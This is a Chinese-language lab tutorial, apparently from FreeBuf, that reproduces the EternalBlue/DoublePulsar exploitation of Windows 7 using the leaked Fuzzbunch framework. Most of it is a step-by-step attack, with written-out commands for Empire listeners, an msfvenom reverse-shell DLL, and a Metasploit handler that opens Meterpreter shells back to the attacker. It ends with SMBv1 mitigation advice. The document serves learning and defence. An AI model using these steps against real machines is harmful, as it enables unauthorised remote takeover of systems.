linux运行fuzzbunch,方程式0day ETERNALBLUE复现之Empire &ampamp; Msfconsole下的she...

在本文中我将为大家复现在前段时间被曝出的,方程式0day Eternalblue的利用过程。Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞。从涵盖的操作系统版本来看,Eternalblue针对的范围也非常广泛。从Windows XP到Windows Server 2012都为其攻击对象。而Windows 10和Windows Server 2016,则并不在其利用范围。但很可能在不久后Eternalblue可能会被再次修改,因此我们应该时刻保持警惕!Eternalblue(永恒之蓝)只是影子经纪人公布的Windows零日漏洞利用工具系列中的一款。除此之外,以“永恒”为前缀名的漏洞利用工具还有例如Eternalromance, Eternalchampion 和 Eternalsynergy,所有这些都是针对近期的Windows操作系统的。为了配置和执行对攻击目标的成功利用,其中有一款名为Fuzzbunch的漏洞利用框架,该框架基于Python 2.6开发与Metasploit框架颇为相似。在以下演示中,我将首先安装最基本的漏洞利用环境并配置Fuzzbunch,最终我将会通过Empire&Meterpreter来获取Windows 7的反弹shell。

配置Fuzzbunch并创建基本利用环境

为了达到更好的实验效果,我们将需要配备以下系统环境:Windows 7 64-bit 作为被攻击目标。IP:10.11.1.253

Windows 7 作为Windows攻击机,并运行Fuzzbunch。IP: 10.11.1.251

Kali Linux 作为另一台攻击机,并运行Empire framework。IP: 10.11.1.16

在我们正式开始实验之前,我们还需要在Windows 和Kali Linux攻击机上进行一些相应的环境部署。

Windows 7相关环境的安装配置

在Windows 7攻击机上,我们需要安装Python 2.6和PyWin32 v212。安装文件可以在这里下载:

按照基本安装步骤首先安装Python,然后再安装PyWin32。这里需要注意的是,安装PyWin32务必以管理员身份进行,否则可能会出现报错。如果你需要再次运行安装后的脚本,则可以在以下目录中找到:C: \Python26\Scripts

在Kali Linux上安装Empire Framework

在Kali Linux上,我们需要安装可从Github获取的Empire框架:

在Kali Linux上安装Empire Framework非常简单,只需运行./setup/install.sh脚本即可一键安装,然后运行./empire就可以启动Empire。

9ed16d6f464c4a74b5e104eeff6d6180.png

配置Fuzzbunch

接下来,我们就可以到Github上下载Shadow Brokers泄露的NSA工具并将其解压到桌面。这里需要注意的是,当你从Github下载转储时,你必须要在包含fb.py(Fuzzbunch)文件的Windows目录中,创建一个名为“listeningspost”的新文件夹。

adff0d9cdfb80cdced252abb8ddec79b.png

最后编辑名为fuzz bund.xml的Fuzzy Bunch配置文件,并设置相应的ResourcesDir和LogDir参数:

3fe93c39f208d13ed7eb3933295de9cb.png

现在我们就可以通过命令行来执行fb.py文件,启动Fuzzbunch。至此应该没有任何报错:

6266ec7488b09f4df4d93534d81edfc8.png

如果你看到了关于缺少DLL或导入的错误提示,请确保是否已正确安装了PyWin32,并且安装后脚本是否成功完成。

配置和执行Eternalblue

至此,我们已经具备了Eternalblue漏洞利用的所有条件。执行Eternalblue需要一个目标IP和回调IP地址。这里的目标地址则为10.11.1.253(Windows 7 64-bit),而反弹地址则为 10.11.1.251(Windows 7)。

8d2976669df07f66b3e363cd78c97d3a.png

接下来需要我们配置和指定是否重定向,和日志记录相关的一些参数,并在Fuzzbunch中创建一个新的项目。我们不会使用重定向,因此输入“no”,然后按Enter键继续。继续按回车键保持默认选项。然后我们选择选项4(或没有现有项目时为0)创建一个新项目,并将其命名为任何你喜欢的项目名称,并选择为你的新项目使用默认的日志记录位置。

0f13971d6dc74df93905f80bcacd3ad6.png

要查看全部加载的插件/exploit类型,可以使用'use'命令。选择使用Eternalblue插件,请键入以下命令:use Eternalblue

0496913809b42f95b4cfa11c82d434b1.png

接着Fuzzbunch会询问我们是否提示进行变量设置,我们选择yes。传输方式我们选择1‘FB’。

6dd3cd4dd62d05a832170fc9212af1d8.png

最后会询问我们,是否要执行插件:

975bd1f6da6a28173344dfb3f0cf7ae1.png

如果一切顺利,Fuzzbunch将输出Eternalblue成功的提示:

e21986941e762e193f1847e5ff11e5ec.png

配置Empire 侦听和反向DLL shell

首先,我们在Empire中设置一个侦听处理程序,并生成一个包含反向shell的恶意DLL文件。首先我们使用Empire命令创建一个监听器:listeners

set Name Eternalblue

set Host http://10.11.1.16

set Port 4444

execute

输入完成后,你可以使用list命令来检查配置内容是否正确:

c4b38c48cd7663d82bf3a662efabb3b9.png

接着,我们使用以下命令来创建一个包含反向shell的恶意DLL文件:usestager dll Eternalblue

set Arch x64

set OutFile /var/www/html/launcher.dll

execute

99130cd1f6606cf4dc8450a311ac424e.png

DLL文件现在存储在Web根目录下。要将DLL传输到另一台Windows 7攻击机上,只需使用以下命令启动Apache Webserver即可:service apache2 start

现在我们就可以使用浏览器,从Windows 7攻击机上下载DLL文件了。 我们将launcher.dll文件存储在Windows文件夹中。

Msfvenom恶意DLL文件的创建

除此之外,你还可以使用msfvenom来生成恶意DLL文件,并使用多处理程序设置监听:msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll

以上命令将使用msfvenom,生成一个Meterpreter的有效载荷:

0f59a033b230ae8e0a0de3d57bb6d13c.png

DoublePulsar

下一步是运行DoublePulsar并注入恶意的launcher.dll文件。在Fuzzbunch中键入以下命令以使用DoublePulsar:use DoublePulsar

80fd9b798f4242379ff031369f5c18fe.png

接着DoublePulsar会为我们显示相关的目标参数,如果你的攻击目标为不同的架构,则需要选择对应的系统架构(32或64bit)。其他变量我们只需保持默认不变即可,直到功能选项出现。

3c196fa5ef64906344e6076e18c0b8ff.png

在接下来的功能选项中,我们选择2注入并运行一个DLL文件(我们之前生成的恶意DLL文件)。

8998e4a7a91e1f1328d55e619af50cd6.png

然后我们需要输入DLL文件的位置,以及其他一些选项我们默认回车即可。

c0ae862b68aaf58ecbfd5a86e884e6ff.png

选择所有其他变量设置的默认选项,直到Fuzzbunch询问我们是否要执行DoublePulsar:

e977c1adfff5a9d7bf6e473af4eef29a.png

如果一切顺利,DoublePulsar将输出DoublePulsar成功的提示:

a1a49fea8f8a887df6d4ae29cdd0d9bc.png

当我们切换到运行Empire监听器的Kali Linux虚拟机时,我们应该已经获取到了目标机器的一个反向shell,但是我们无法与之进行交互:

9b1f50745217208edebd0b2687d95950.png

将Empire shell切换为Meterpreter shell

让我们来尝试下,是否可以将Empire shell切换为Meterpreter shell。我们运行以下命令设置侦听:use exploit/multi/handler

set payload windows/meterpreter/reverse_https

set lhost 10.11.1.16

set lport 5555

run

e8dcfcfd579083543e55ed49862a2bdc.png

现在,让我们再次切换回Empire并运行以下命令:usemodule code_execution/invoke_shellcode

set Lhost 10.11.1.16

set Lport 5555

execute

3d6efd90f3040ec55584ce4a2d7415a9.png

当我们再次切换回Metasploit时,我们应该已经收到了一个Meterpreter shell:

20827aed82139ac2854dbfbcf2d5cab3.png

修复建议

微软已于2017年3月份就修补了Eternalblue漏洞。如果您尚未安装补丁程序,建议您在短时间内完成此操作。另一个有效的方法是在Windows机器上禁用SMBv1。

要在Windows 8和Windows Server 2012上禁用SMBv1,请打开Windows Powershell并运行以下命令以禁用SMBv1:Set-SmbServerConfiguration -EnableSMB1Protocol $false

使用以下命令检查SMBv1是否已被禁用:Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol

f94c01bc8de2a83e5c72de5350906fe4.png

在PowerShell中运行以下cmdlet,禁用Windows 7,Windows Server 2008 R2,Windows Vista和Windows Server 2008上的SMBv1协议:Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force

总结

在本教程中我们学会了,如何使用Eternalblue远程利用SMBv1协议中的漏洞。虽然Eternalblue相比MS08-067利用起来并不轻松,但其效果都是一样的。同时,也希望通过这个例子让大家意识到定期更新Windows系统的重要性,以及技术更新换代的必要性。想要了解更多关于Eternalblue的内容,你可以查看 CVE-2017-0143 以及微软关于MS17-010的相关安全公告。

,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值